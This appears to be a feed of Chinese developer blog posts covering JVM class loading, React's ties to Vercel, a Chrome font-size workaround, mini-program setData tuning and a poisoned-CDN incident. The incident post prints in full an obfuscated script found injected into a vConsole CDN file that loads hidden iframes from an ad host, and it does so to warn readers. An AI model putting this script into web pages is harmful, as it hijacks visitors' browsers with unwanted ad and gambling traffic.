    • 变量的赋值是不是给了正确的数据类型

    • 。。。


    如果一个方法体通过了字节码验证,也仍然不能保证它一定是安全的。


  • 符号引用验证。该动作发生在虚拟机将符号引用转化为直接引用的时候,这个转化动作将在连接的第三阶段--解析阶段中发生(所以说符号引用验证是在解析阶段发生???)。


    符号引用验证的主要目的是确保解析行为能正常执行


    符号引用验证简单来说就是验证当前类是否缺少或者被禁止访问它依赖的外部类、方法、变量等资源。该阶段通常要校验以下内容:



    • 符号引用中通过字符串描述的全限定名是否能找到对应的类。

    • 在指定类中是否存在符合方法的字段描述符及简单名称所描述的方法和字段。(没太明白什么意思)

    • 符号引用中的类、变量、方法是否可被当前类访问。


    如果无法通过符号引用验证,Java 虚拟机将会抛出一个 java.lang.IncompatibleClassChangeError 的子类异常,典型的如:



    • java.lang.IllegalAccessError

    • java.lang.NoSuchFieldError

    • java.lang.NoSuchMethodError等。




准备


准备阶段是正式为类中的静态变量分配内存并设置类变量初始化值的阶段。从概念上来说,这些变量所使用的内存都应当在方法区中分配,但方法区本身是一个逻辑概念。在JDK7及以前,HotSpot使用永久代来实现方法区。在JDK8及以后,类变量会随着Class对象一起放入Java堆中(也是叫做方法区的概念?)


注意点:



  • 准备阶段仅为类变量分配内存并初始化。实例变量会在对象实例化时随着对象一起分配在堆内存中。

  • 非final修饰的类变量,在初始化之后,是赋值为0,而不是程序中的赋值。比如:
    public static int value = 123; 

    初始化之后的值是0,而不是10。因为这时候程序还未运行。把 value 赋值为 123 的 putstatic 指令是程序被编译后,存放于类构造器() 方法之中,所以把 value 赋值为 123 的动作要到类的初始化阶段才会被执行。

  • final修饰的类变量,初始化之后会赋值为代码中的值。因为:如果类字段被 final 修饰,那么类阻断的属性表中存在 ConstantValue 属性,那在准备阶段变量值就会被初始化为ConstantValue 属性所指定的初始值,假设上面类变量 value 的定义修改为 123 ,而不是 "零值"


解析


解析阶段是将符号引用转化为直接引用的过程。也就是得到类或者字段、方法在内存中的指针或者偏移量。



  • 符号引用(Symbolic References):用一组字符串来表示所引用的目标,符号可以是任何形式的字面量,只要使用时能无歧义地定位到目标即可。

  • 直接引用(Direct Reference)是可以直接指向目标的指针,相对偏移量、或者可以间接定位到目标的句柄?直接引用是和虚拟机实现的内存布局直接相关的,同一个符号引用在不同虚拟机实例上翻译出来的直接引用一般不会相同。如果有了直接引用,那引用的目标必定已经在虚拟机的内存中存在。


初始化


初始化阶段是执行初始化方法 <clinit> ()方法的过程,是类加载的最后一步,这一步 JVM 才开始真正执行类中定义的 Java 程序代码(字节码)。



说明:<clinit> ()方法是编译之后自动生成的。



对于初始化阶段,虚拟机严格规范了有且只有 6 种情况下,必须对类进行初始化(只有主动去使用类才会初始化类):



  1. 当遇到 newgetstaticputstaticinvokestatic 这 4 条字节码指令时,比如 new 一个类,读取一个静态字段(未被 final 修饰)、或调用一个类的静态方法时。



    • 当 jvm 执行 new 指令时会初始化类。即当程序创建一个类的实例对象。

    • 当 jvm 执行 getstatic 指令时会初始化类。即程序访问类的静态变量(不是静态常量,常量会被加载到运行时常量池)。

    • 当 jvm 执行 putstatic 指令时会初始化类。即程序给类的静态变量赋值。

    • 当 jvm 执行 invokestatic 指令时会初始化类。即程序调用类的静态方法。



  2. 使用 java.lang.reflect 包的方法对类进行反射调用时如 Class.forname("..."), newInstance() 等等。如果类没初始化,需要触发其初始化。

  3. 初始化一个类,如果其父类还未初始化,则先触发该父类的初始化。

  4. 当虚拟机启动时,用户需要定义一个要执行的主类 (包含 main 方法的那个类),虚拟机会先初始化这个类。

  5. MethodHandleVarHandle 可以看作是轻量级的反射调用机制,而要想使用这 2 个调用,

    就必须先使用findStaticVarHandle 来初始化要调用的类。

  6. 当一个接口中定义了 JDK8 新加入的默认方法(default)  ,那么实现该接口的类需要提前初始化。


代码运行过程:案例


针对下面这段代码进行讲解。


//MainApp.java  
pblic class MainApp {
public static void main(String[] args) {
Animal animal = new Animal("Puppy");
animal.printName();
}
}
//Animal.java
public class Animal {
public String name;
public Animal(String name) {
this.name = name;
}
public void printName() {
System.out.println("Animal ["+name+"]");
}
}


  1. MainApp类加载:编译得到MainApp.class文件后,在命令行上敲java AppMain。系统就会启动一个jvm进程,jvm进程从classpath路径中找到一个名为AppMain.class的二进制文件,将MainApp的类信息加载到运行时数据区的方法区内,这个过程叫做MainApp类的加载。

  2. 然后JVM找到AppMain的主函数入口,开始执行main函数。

  3. Animal类加载:main函数的第一条命令是Animal animal = new Animal("Puppy");就是让JVM创建一个Animal对象,但是这时候方法区中没有Animal类的信息,所以JVM马上加载Animal类,把Animal类的类型信息放到方法区中。

  4. 加载完Animal类之后,Java虚拟机做的第一件事情就是在堆区中为一个新的Animal实例分配内存, 然后调用构造函数初始化Animal实例,这个Animal实例持有着指向方法区的Animal类的类型信息(其中包含有方法表,java动态绑定的底层实现)的引用。

  5. 当使用animal.printName()的时候,JVM根据animal引用找到Animal对象,然后根据Animal对象持有的引用定位到方法区中Animal类的类型信息的方法表,获得printName()函数的字节码的地址。

  6. 开始运行printName()函数。



参考文章





作者:ET
来源:juejin.cn/post/7343441462644195362
收起阅读 »

11岁的React正迎来自己口碑的拐点

web
凌晨2点,Dan仍坐在电脑桌前,表情严肃。 作为React社区最知名的布道者,此时正遭遇一场不小的变故 —— 他拥有38w粉丝的推特账号被影子封禁了。 所谓影子封禁,是指粉丝无法在流中刷到被封禁者的任何推文,只能点进被封禁者的账号才能看到新推文 在RSC...
继续阅读 »

凌晨2点,Dan仍坐在电脑桌前,表情严肃。


作为React社区最知名的布道者,此时正遭遇一场不小的变故 —— 他拥有38w粉丝的推特账号被影子封禁了。



所谓影子封禁,是指粉丝无法在流中刷到被封禁者的任何推文,只能点进被封禁者的账号才能看到新推文




RSC(React Server Component)特性发布后,Dan经常用这个账号科普各种RSC知识。这次封禁,显然对他的布道事业造成不小打击,不得已只能启用新账号。


虽然新账号粉丝不多,但值得宽慰的是 —— 这篇题为The Two ReactsRSC布道文数据还不错。



这篇文章通过解释世界上存在2个React



  • 在客户端运行的React,遵循UI = f(state),其中state是状态,是可变的

  • 在服务端运行的React,遵循UI = f(data),其中data是数据源,是不变的


来论证RSC的必要性(他为服务端运行的React提供了底层技术支持)。


安静的夜总是让人思绪良多,Dan合上MacBook Pro,回想起当年参加行业会议,在会议开始前一周才实现演讲所需的Demo(也就是Redux的雏形)。也正是以这次参会为契机,他才得以加入Meta伦敦,进入React核心团队


随后,Dan又回想起在React Conf 2018介绍Hook特性时,台下观众惊喜的欢呼。



想到这里,不禁又感叹 —— 曾经并肩战斗的战友们都已各奔东西。


Redux的联合作者Andrew Clark离开了(入职Vercel),Hook的作者sebastian markbåge也离开了(入职Vercel),连自己最终也离开了(入职bluesky)。


虽然React仍是前端领域最热门的框架,但一些微妙的东西似乎在慢慢变化,是什么变了呢?


React正迎来自己口碑的拐点


作为一款11岁高龄的前端框架,React正迎来自己口碑的拐点。


近期,有多名包括知名库作者、React18工作组成员在内的社区核心用户公开表达了对React的批评,比如:



有人会说,React从诞生伊始至今从不乏批评的声音,有什么大惊小怪的?


这其中的区别其实非常大。从React诞生伊始至今,批评通常是开发者与React核心团队的理念之争,比如:



  • JSX到底好不好用?这是理念之争

  • Class Component还是Function Component?这是理念之争

  • 要不要使用Signal技术?这还是理念之争


虽然开源项目都很重视开发者的反馈,但React已经不能算是普通开源项目,而是一个庞大的技术生态。


在这个生态中,开发者的不满实际上并不会动摇React的基本盘。因为决定开发者是否在项目中使用React的,并不是开发者自身好恶,而是公司考量技术生态后作出的自上而下的选择。


所以,React的基本盘是技术生态(而非开发者)。而构成技术生态的,则是生态中大大小小的开源作者/开源团队。


这一轮对React的批评,多是核心技术生态的参与者发出的,他们才是支撑React大厦的一根根柱子。


批评的主要原因是 —— React团队React的发展与一家商业公司(Vercel)牢牢绑定。


这对于React核心团队成员来说,是从大厂到独角兽的个人职场跃迁。但对广大React技术生态的开源作者/开源团队来说,则是被动与一家商业公司(Vercel)绑定。


举个例子,RSC中有个叫Server Actions的特性,用于简化在服务端处理前端交互的流程。Vercel是一家云服务公司,旗下的Next.js支持Server Actions可以完美契合自家Serverless服务的场景。


但其他开源项目可能并不会从这个特性中受益。


再比如,React Bricks的作者曾抱怨 —— 虽然表面上看,React可以与Vite结合,可以与React Router结合(也就是Remix的前身),一切都是自由的选择。但上层的服务商表示:如果React Bricks不能支持Next.js,就不会再使用他。


换句话说,React在逐渐将自己的技术生态迁移到Next.js,而技术生态是公司技术选型的首要考虑因素。如果开源库不主动融入Next生态,公司在做技术选型时可能就不会考虑这个库。


迫于市场的考量,会有很多原React生态下的库迁移到Next生态,即使这么做并非库作者意愿(毕竟Next.js的背后是一家商业公司)。


框架作者的反抗


如果说一般的开源库只能被动选择是否追随Next生态,那还有一类开源库选择与Next.js正面对抗,这就是Meta Framework(元框架)。


所谓元框架,是指基于前端框架封装的功能更全的上层框架,比如:



  • 框架Vue,元框架Nuxt.js

  • 框架React,元框架RemixNext.js

  • 框架Solid.js,元框架SolidStart

  • 框架Svelte,元框架SvelteKit


还有些框架本身就是元框架,比如AngularAstro


NPM年下载量看,Next.js对这些竞品基本呈碾压之势(下表绿色是Next):



造成当前局面有多少是因为Next.js相比其他元框架表现更出色我们不得而知,但有一点可以肯定 —— React生态Next生态的迁徙对形成当前局面一定贡献了不少。


参考下图,黄色(React年下载量)对绿色(Next年下载量)的提携:



元框架的竞争已经逐渐白热化,现在甚至出现了生成元框架的框架 —— vinxi


你可以选择框架(ReactVueSolid...),再选择应用场景(客户端、SSRSSG...)以及一些个性化配置,vinxi会为你生成一个独属于你的元框架。


顺便一提,SolidStart就是基于vinxi构建的。


后记


React将技术生态向Next迁移的不满在社区已经酝酿已久,并在近期迎来了爆发。长久来看,这种不满必将影响React的根基 —— 技术生态。


但从上帝视角来看,没有人是真正在意React的:



  • 开发者只在意是否能稳定、高效完成工作

  • 开源作者只在意技术生态市场是否够大(不能被少数公司垄断)

  • React核心团队成员在意的是自己的职业前景

  • 元框架作者在意的是从Next无法顾及的细分场景切一块蛋糕


React就像一个被开采了11年的金矿,开采的各方都有所抱怨,同时又不停下手中挥舞的铁镐。


React将技术生态逐渐迁移到Next生态后,React的身影将只存在于一些细节中,比如:



  • Hook的执行顺序不能变

  • 严格模式下组件会render两次

  • 相比其他框架更低的性能


作为一家商业公司,未来Vercel会不会为了市场考量逐渐优化这些特性(比如引入Signal)?


如果说React未来一定会消失,那他的死必不会像烟花那样猝不及防而又灿烂(就像谷歌宣布研发Angular2后,Angular1在关注度最高时迎来了他的死亡)。


更可能的情况是像忒修斯之船一样,在航行的过程中不断更换老旧的木条,最终在悄无声息中逐渐消失......


作者:魔术师卡颂
来源:juejin.cn/post/7340926094614511626
收起阅读 »

慎重!第三方依赖包里居然有投毒代码

web
本周,团队里有个小伙伴负责的一个移动端项目在生产环境上出现了问题,虽然最终解决了,但我觉得这个问题非常典型,有必要在这里给广大掘友分享一下。 起因 生产上有客户反馈在支付订单的时候,跳转到微信支付后,页面就被毙掉了,无法支付。而且无法支付这个问题还不是所有用户...
继续阅读 »

本周,团队里有个小伙伴负责的一个移动端项目在生产环境上出现了问题,虽然最终解决了,但我觉得这个问题非常典型,有必要在这里给广大掘友分享一下。


起因


生产上有客户反馈在支付订单的时候,跳转到微信支付后,页面就被毙掉了,无法支付。而且无法支付这个问题还不是所有用户都会遇到,只是极个别的用户会遇到。


查找问题


下面是排查此问题时的步骤:



  1. review代码,代码逻辑没问题。

  2. 分析反馈问题的用户画像,发现他们都是分布在不同省域下面的,不是发生在同一个地区,完全没有规律可循。

  3. 偶然间,发现有一段代码逻辑有问题,就是移动端调试工具库vConsole这个悬浮图标,代码逻辑是只有在生产环境才显示,其它环境不显示。至于为啥在生产环境上把调试工具展示出来的问题,不是本文的重点~,这里就不多赘述了,正常来说vConsole的悬浮图标这东西也不会影响用户操作,没怎么在意。

  4. 然而最不在意的内容,往往才是导致问题的关键要素。

  5. 发现vConsole不是通过安装依赖包的方式加载的,而是在index.html页面用script标签引入的,而且引用的地址还是外部开源的第三方cdn的地址,不是公司内部cdn的地址。

  6. 于是开始针对这个地址进行排查,在一系列令绝大部分掘友目瞪口呆的操作下,终于定位到问题了。这个开源的cdn地址提供的vConsole源代码有问题,里面注入了一段跟vConsole代码不相关的恶意脚本代码。



有意思的是,这段恶意脚本代码不会一直存在。同样一个地址,原页面刷新后,里面的恶意脚本代码就会消失。



感兴趣的掘友可以在自己电脑上是试一试。vConsole地址
注意,如果在PC端下载此代码,要先把模拟手机模式打开再下载,不然下载的源码里不会有这个恶意脚本代码。


下面的截图是我在pc端浏览器上模拟手机模式,获取到的vConsole源码,我用红框圈住的就是恶意代码,它在vConsole源码文件最下方注入了一段恶意代码(广告相关的代码)。


image.png


这些恶意代码都是经过加密的,把变量都加密成了十六进制的格式,仅有七十多行,有兴趣的掘友可以把代码拷贝到自己本地,尝试执行一下。


全部代码如下:


var _0x30f682 = _0x2e91;
(function(_0x3a24cc, _0x4f1e43) {
var _0x2f04e2 = _0x2e91
, _0x52ac4 = _0x3a24cc();
while (!![]) {
try {
var _0x5e3cb2 = parseInt(_0x2f04e2(0xcc)) / 0x1 * (parseInt(_0x2f04e2(0xd2)) / 0x2) + parseInt(_0x2f04e2(0xb3)) / 0x3 + -parseInt(_0x2f04e2(0xbc)) / 0x4 * (parseInt(_0x2f04e2(0xcd)) / 0x5) + parseInt(_0x2f04e2(0xbd)) / 0x6 * (parseInt(_0x2f04e2(0xc8)) / 0x7) + -parseInt(_0x2f04e2(0xb6)) / 0x8 * (-parseInt(_0x2f04e2(0xb4)) / 0x9) + parseInt(_0x2f04e2(0xb9)) / 0xa * (-parseInt(_0x2f04e2(0xc7)) / 0xb) + parseInt(_0x2f04e2(0xbe)) / 0xc * (-parseInt(_0x2f04e2(0xc5)) / 0xd);
if (_0x5e3cb2 === _0x4f1e43)
break;
else
_0x52ac4['push'](_0x52ac4['shift']());
} catch (_0x4e013c) {
_0x52ac4['push'](_0x52ac4['shift']());
}
}
}(_0xabf8, 0x5b7f0));

var __encode = _0x30f682(0xd5)
, _a = {}
, _0xb483 = [_0x30f682(0xb5), _0x30f682(0xbf)];

(function(_0x352778) {
_0x352778[_0xb483[0x0]] = _0xb483[0x1];
}(_a));

var __Ox10e985 = [_0x30f682(0xcb), _0x30f682(0xce), _0x30f682(0xc0), _0x30f682(0xc3), _0x30f682(0xc9), 'setAttribute', _0x30f682(0xc6), _0x30f682(0xd4), _0x30f682(0xca), _0x30f682(0xd1), _0x30f682(0xd7), _0x30f682(0xb8), _0x30f682(0xb7), _0x30f682(0xd3), 'no-referrer', _0x30f682(0xd6), _0x30f682(0xba), 'appendChild', _0x30f682(0xc4), _0x30f682(0xcf), _0x30f682(0xbb), '删除', _0x30f682(0xd0), '期弹窗,', _0x30f682(0xc1), 'jsjia', _0x30f682(0xc2)];

function _0x2e91(_0x594697, _0x52ccab) {
var _0xabf83b = _0xabf8();
return _0x2e91 = function(_0x2e910a, _0x2d0904) {
_0x2e910a = _0x2e910a - 0xb3;
var _0x5e433b = _0xabf83b[_0x2e910a];
return _0x5e433b;
}
,
_0x2e91(_0x594697, _0x52ccab);
}

window[__Ox10e985[0x0]] = function() {
var _0x48ab79 = document[__Ox10e985[0x2]](__Ox10e985[0x1]);
_0x48ab79[__Ox10e985[0x5]](__Ox10e985[0x3], __Ox10e985[0x4]),
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x6]] = __Ox10e985[0x8],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x9]] = __Ox10e985[0x8],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xa]] = __Ox10e985[0xb],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xc]] = __Ox10e985[0x8],
_0x48ab79[__Ox10e985[0xd]] = __Ox10e985[0xe],
_0x48ab79[__Ox10e985[0xf]] = __Ox10e985[0x10],
document[__Ox10e985[0x12]][__Ox10e985[0x11]](_0x48ab79);
}
,
function(_0x2492c5, _0x10de05, _0x10b59e, _0x49aa51, _0x2cab55, _0x385013) {
_0x385013 = __Ox10e985[0x13],
_0x49aa51 = function(_0x2c78b5) {
typeof alert !== _0x385013 && alert(_0x2c78b5);
;typeof console !== _0x385013 && console[__Ox10e985[0x14]](_0x2c78b5);
}
,
_0x10b59e = function(_0x42b8c7, _0x977cd7) {
return _0x42b8c7 + _0x977cd7;
}
,
_0x2cab55 = _0x10b59e(__Ox10e985[0x15], _0x10b59e(_0x10b59e(__Ox10e985[0x16], __Ox10e985[0x17]), __Ox10e985[0x18]));
try {
_0x2492c5 = __encode,
!(typeof _0x2492c5 !== _0x385013 && _0x2492c5 === _0x10b59e(__Ox10e985[0x19], __Ox10e985[0x1a])) && _0x49aa51(_0x2cab55);
} catch (_0x57c008) {
_0x49aa51(_0x2cab55);
}
}({});

function _0xabf8() {
var _0x503a60 = ['http://www.sojson.com/javascriptobfuscator.html', 'createElement', '还请支持我们的工作', 'mi.com', 'src', 'body', '16721731lEccKs', 'width', '1450515IgSsSQ', '49faOBBE', 'https://www.unionadjs.com/sdk.html', '0px', 'onload', '3031TDvqkk', '5wlfbud', 'iframe', 'undefined', '版本号,js会定', 'height', '394HRogfN', 'referrerPolicy', 'style', 'jsjiami.com', 'sandbox', 'display', '2071497kVsLsw', '711twSQzP', '_decode', '32024UfDDBW', 'frameborder', 'none', '10ZPsgHQ', 'allow-same-origin allow-forms allow-scripts', 'log', '1540476RTPMoy', '492168jwboEb', '12HdquZB'];
_0xabf8 = function() {
return _0x503a60;
}
;
return _0xabf8();
}

我在自己电脑上把这段代码执行了一下,其实在页面上用户是无感的,因为创建的标签都是隐藏起来的,只有打开调试工具才能看出来。


打开浏览器调试工具,查看页面dom元素:


2024-03-08 17.38.16.gif


image.png


打开调试工具的网络请求那一栏,发送无数个请求,甚至还有几个socket链接...:


2024-03-08 17.41.20.gif


这就是为什么微信支付会把页面毙掉的原因了,页面只要加载了这段代码,就会执行下面这个逻辑:



  1. 页面加载后,代码自动执行,在页面中创建一个iframe标签,然后把https://www.unionadjs.com/sdk.html地址放进去。

  2. 随后在iframe标签中会无限制地创建div标签(直到你的浏览器崩溃!)。

  3. 每个div标签中又会创建一个iframe标签,而src会被分配随机的域名,有的已经打不开了,有的还可以打开,其实就是一些六合彩和一些有关那啥的网站(懂的都懂~)。


强大的ChatGPT


在这里不得不感叹ChatGPT的强大(模型训练的好),我把这段加密的代码直接输入进去,它给我翻译出来了,虽然具体逻辑没有翻译出来,但已经很好了。


image.png


下面这个是中文版的:


image.png


总结


下面是我对这次问题的一个总结:



  1. 免费的不一定是最便宜的,也有可能是最贵的。

  2. 公司有自己的cdn依赖库就用公司内部的,或者去官网去下载对应的依赖,开源的第三方cdn上的内容慎重使用。

  3. 技术没有对和错,要看使用它的是什么人。


本次分享就到这里了,有描述的不对的地方欢迎掘友们纠正~


作者:娜个小部呀
来源:juejin.cn/post/7343691521601781760
收起阅读 »

如何打破Chrome的最小字号限制

web
前言 正常开发中,比如设置最小字体为12以下,会出现不生效的情况。原因是因为谷歌浏览器有最小字体的限制,那么如何解决这个问题呢? 本文主要说明两个方式: 调整谷歌浏览器的默认限制字体大小 使用css的transform属性进行缩放 chrome 118版...
继续阅读 »

前言


正常开发中,比如设置最小字体为12以下,会出现不生效的情况。原因是因为谷歌浏览器有最小字体的限制,那么如何解决这个问题呢?


本文主要说明两个方式:



  1. 调整谷歌浏览器的默认限制字体大小

  2. 使用css的transform属性进行缩放



chrome 118版本后已经字体大小最小限制默认关闭了,直接支持小于12px的字体大小



1. 调整谷歌浏览器默认字体限制


要打破Chrome的最小字号限制,按照以下步骤进行操作:



  1. 打开Chrome浏览器。

  2. 找到并点击浏览器右上角的三个点图标,打开菜单。

  3. 在菜单中选择“设置”选项。

  4. 在设置页面中,向下滚动并找到“外观”部分。

  5. 在“外观”部分中,找到“自定义字体”选项。

  6. 设置最小字体,使用滑块或输入框调整字体大小到最小字号。


例如:当我们需要设置字体为6px时


打开百度浏览器,当最小字体设置为12px,当设置为12以下时,字体不会变化。


浏览器设置:


image.png


页面显示:
image.png


调整最小字体为6px:


浏览器设置:


image.png


页面显示:
image.png


总结一下:谷歌浏览器页面字体的最小限制,是因为浏览器的默认限制。我们平常开发中不可能每个浏览器进行设置,下面介绍使用css的缩放突破最小字体限制。


2. 使用css的transform属性进行缩放


例如:如果需要设置字体为10px,那么可以先将字体设置为20px,通过缩放一半进行实现。



注意:transfrom属性针对块级元素


缩放后会出现对齐问题,需要设置transform-origin属性



如果未设置transform-origin


image.png


对齐出现问题,设置后:


image.png


完整css设置:


font-size: 20px;
transform: scale(0.5);
display: inline-block;
transform-origin: 0 22px;

3. 总结


在Web开发中,Chrome浏览器设置了一个默认的最小字体限制,当你尝试设置小于某个阈值的字体大小时,字体大小将不会按照预期变化。这种限制主要是为了确保网页内容的可读性和用户的浏览体验。


为了突破这个限制,本文主要演示了两种方法:



  1. 调整Chrome浏览器的默认字体大小限制



    • 通过Chrome的设置界面,用户可以自定义字体大小,并设置其最小值。虽然这种方法简单直接,但它需要用户手动操作,并不适合在生产环境中使用。



  2. 使用CSS的transform属性进行缩放



    • 这种方法不需要用户进行任何操作,它完全依赖于CSS代码。你可以设置一个较大的字体大小,然后使用transform: scale()来缩小它。

    • 需要注意的是,使用transform属性进行缩放时,可能会出现文本对齐问题。为了解决这个问题,我们可以使用transform-origin属性来调整缩放的基准点。




单纯记录下,如果错误,请指正O^O!


作者:一诺滚雪球
来源:juejin.cn/post/7338742634168139788
收起阅读 »

「小程序进阶」setData 优化实践指南

web
一 前言 本文为稀土掘金技术社区首发签约文章,30天内禁止转载,30天后未获授权禁止转载,侵权必究! 为什么小程序如此受欢迎? 随着移动互联网发展,各大主流的 App 的很多业务页面,都需要有动态化发版的能力,这时小程序的优势就体现出来了,首先小程序无需安...
继续阅读 »

一 前言



本文为稀土掘金技术社区首发签约文章,30天内禁止转载,30天后未获授权禁止转载,侵权必究!



为什么小程序如此受欢迎?


随着移动互联网发展,各大主流的 App 的很多业务页面,都需要有动态化发版的能力,这时小程序的优势就体现出来了,首先小程序无需安装和卸载,更少的占用内存,并且实现了跨端兼容,开发者无需在安卓或者 iOS 端开发两套代码,这无疑降低了开发成本,而且小程序更受到广大前端开发者的青睐,随着 taro 等框架的成熟,开发者可以完全做到像开发 web 应用一样开发小程序。


setData 优化迫在眉睫
随着小程序的发展,各种各样的小程序百花齐放,截止 2022 年末,互联网小程序总数超过 780 万,DAU更是突破了 8 亿。小程序承载了越来越多的功能,这就促使了小程序的模块越来越复杂。这个时候,更新视图就会牵连更多的业务模块的联动更新,如果小程序开发者不做优化而是肆意的使用 setData,就会让应用更卡顿,渲染更耗时,直接影响了用户体验。所以 setData 优化是小程序优化重要的组成部分。


要是彻底弄明白 setData 影响性能的原因,就要从小程序的架构设计说起。


二 双线程架构设计


2.1 小程序双线程架构设计


小程序采用双线程架构,分为逻辑层和渲染层。首先就是 Native 打开一个 WebView 页面,渲染层加载 WXML 和 WXSS 编译后的文件,同时逻辑层用于逻辑处理,比如触发网络请求、setData 更新等等。接下来是请求资源,请求到数据之后,数据先通过逻辑层传递给 Native,然后通过 Native 把数据传递给渲染层 WebView,再进行渲染。


在小程序中,触发的事件首先需要传递给 Native,再传递给逻辑层,逻辑层处理事件,再把处理好的数据传递给 Native,最后 Native 传递给渲染层,由渲染层负责渲染。


WechatIMG47033.png


2.2 小程序更新原理


上面小程序的双线程架构,setData 是驱动小程序视图更新的核心方法,通过上面双线程架构可知,setData 过程中,需要把更新的数据,先传递给 Native 层,然后 Native 层再传递给 webView 层面。


数据这么一来一回需要实现 Native <-> JS 引擎双线程通信,并且数据在通信过程中,需要序列化和反序列化,那么在此期间就会产生大量的通信成本。这就是 setData 消耗性能,性能瓶颈的原因。


明白了 setData 的性能瓶颈之后,来看一下如何优化 setData 呢?


三 setData 优化


对于 setData 的优化,重点是以下三个方面:



  • 控制 setData 的数量(频率)。

  • 控制 setData 的量。

  • 合理运用 setData 。


下面我们对这三个方向分别展开讨论。


3.1 减少 setData 的数


首先第一点就是控制 setData 的次数, 每次 setData 都会触发逻辑层虚拟 DOM 树的遍历和更新,也可能会导致触发一次完整的页面渲染流程,其中就包括了序列化,通信,反序列化的过程。过于频繁(毫秒级)的调用 setData,会造成严重的影响,如下:



  • 逻辑层 JS 线程持续繁忙,无法正常响应用户操作的事件,也无法正常完成页面切换;

  • 视图层 JS 线程持续处于忙碌状态,逻辑层 -> 视图层通信耗时上升,视图层收到消息的延时较高,渲染出现明显延迟;

  • 视图层无法及时响应用户操作,用户滑动页面时感到明显卡顿,操作反馈延迟,用户操作事件无法及时传递到逻辑层,逻辑层亦无法及时将操作处理结果及时传递到视图层。


因此,开发者在调用 setData 是,应该做如下处理:


1.仅在需要进行页面内容更新时调用 setData。


有一些场景下,我们没有必要把所有的数据,都用 setData, 一些数据可以直接通过 this 来保存,setData 只更新有关视图的数据。


比如有一个状态叫做 isFlag, 这个状态只是记录状态,并不是用于渲染。那么没必要用 setData。


不推荐:


this.setData({
isFlag:true
})

推荐:


this.isFlag = true

2.合并 setData:


把多个 setData 可以合并成一个 setData ,避免同一个上下文中,多个 setData。


不推荐:


this.setData({
isFlag:true
})
this.setData({
number:1
})

推荐:


this.setData({
isFlag:true,
number:1
})

3.避免以过高的频率持续调用 setData,例如毫秒级的倒计时,scroll里面使用 setData


不推荐:


// ❌
onScoll(){
this.setData({
xxx:...
})
}
// ❌
setTimeout(()=>{
this.setData({
xxx:...
})
},10)

如果必须在 scroll 事件中使用 setData ,那么推荐使用函数防抖(debounce),或者函数节流(throttle);


onLoad(){
this.onScroll = debounce(this.onScroll.bind(this),200)
}
onScroll(){}

3.2 减少 setDate 的量


setData 只用来进行渲染相关的数据更新。用 setData 的方式更新渲染无关的字段,会触发额外的渲染流程,或者增加传输的数据量,影响渲染耗时。


1.data 里面仅存放和渲染有关的数据。


this. ({
data1:...
data2:...
})

<view>{{ data1 }}</view>

如上有两个数据 data1 和 data2, 但是只有 data1 视图需要,那么 setData 改变 data2 就是多余的。


2.组件间的通信,可以通过状态管理工具,或者 eventbus


比如有一个数据 a, 想把 a 传递到子组件中,那么通常的方案是 a 作为 props 传递给子组件,如果想要改变 a 的值,那么需要 setData 更新 a 的值。


如果是普通的组件,如上的传递方式是没问题的,但是对于一些复杂的场景,比如传递的数据巨大,这个时候就可以考虑用状态管理工具,或者 eventbus 的方式。


如下就是通过 eventBus 实现的组件通信。


import { BusService } from './eventBus'
Component({
lifetimes:{
attached(){
BusService.on('message',(value)=>{ /* 事件绑定 */
/* 更新数据 */
this.setData({...})
})
},
detached(){
BusService.off('message') /* 解绑事件 */
}
},
})

Component({
methods:{
emitEvent(){
BusService.emit('message','hello,world')
}
}
})

3.控制 setData 数据更新范围。


对于列表或者是大对象的数据结构,如果是列表某一项的数据变化,或者是对象的某一属性发生变化,可以控制 setData 数据更新范围,让更新的数据变得最小。


如下:


handleListChange(index,value){
this.setData({
`sourceList[${index}]`:value
})
}

3.3 合理运用 setData


如上就是通过 setData 的频率和数量大小,来优化 setData 性能,除此之外,还需要一些业务系统性的优化 setData 的手段。


1.数据源分层


对于复杂的业务场景(复杂的列表,或者复杂的模块场景),服务端数据肯定包含了很多信息,这些数据有的是用于渲染的,有的是用于逻辑处理的,还有的是用于处理埋点和广告的,如果把所有的数据都通过 setData 传递,庞大的数据传输可能会阻塞页面的渲染展示。


这个时候,我们可以把数据分层处理,分成用于纯渲染的数据,逻辑数据,埋点数据等。


WechatIMG47034.png


伪代码如下所示:


// 处理服务端返回的数据
handleRequestData(data){
/* 处理业务数据 */
const { renderData,serviceData,reportData } = this.handleBusinessData(data)
/* 只有渲染需要的数据才更新 */
this.setData({
renderData
})
/* 保存逻辑数据,和上报数据 */
this.serviceData = serviceData
this.reportData = reportData
}

2.渲染分片


还有一个场景就是页面确实有很多模块需要渲染,这个时候在所难免要用 setData 更新大量的数据,如果把这些渲染的数据一次性更新完,也会占用一定的时间;针对这个场景就可以使用渲染分片的概念。就是优先渲染第一屏模块,其他模块用 setTimeout 分片渲染,这样可以缓解一次 setData 造成的压力。


Page({
 data:{
   templateList:[],
},
 async onLoad(){
   /* 请求初始化参数 */
   const { moduleList } = await requestData()  
   /* 渲染分组,每五个模版分成一组 */
   const templateList = this.group(moduleList,5)
   this.updateTemplateData(templateList)
},
 /* 将渲染模版进行分组 */
 group(array, subGr0upLength) {
   let index = 0;
   const newArray = [];
   while (index < array.length) {
     newArray.push(array.slice(index, (index += subGr0upLength)));
  }
   return newArray;
},
 /* 更新模版数据 */
 updateTemplateData(array, index = 0) {
   if (Array.isArray(array)) {
     this.setData(
      {
        [`templateList[${index}]`]: array[index],
      },
      () => {
         if (index + 1 < array.length) {
           setTimeout(()=>{
               this.updateTemplateData(array, index + 1);
          },100)
        }
      }
    );
  }
},
})

3.业务场景定制


针对一些特定的业务场景,需要制定符合当前业务场景的技术方案。这个可能要求开发者有一定的架构设计能力。这里就不具体介绍了。


四 总结


本文讲了小程序的 setData 的一些优化方案,希望能给读过文章的读者在小程序 setData 优化方向,提供一个思路。


最好,希望感觉有帮助的朋友能够 点赞 + 收藏,关注我,持续分享前端


参考文献



作者:我不是外星人
来源:juejin.cn/post/7344598656144752703
收起阅读 »

百亿补贴为什么用 H5?H5 未来会如何发展?

web
百亿补贴为什么用 H5?H5 未来会如何发展? 23 年 11 月末,拼多多市值超过了阿里。我想写一篇文章《百亿补贴为什么用 H5》,没有动笔;24 年新年,我想写一篇《新的一年,H5 会如何发展》,也没有动笔。 眼看着灵感就要烂在手里,我决定把两篇文章合为一...
继续阅读 »

百亿补贴为什么用 H5?H5 未来会如何发展?


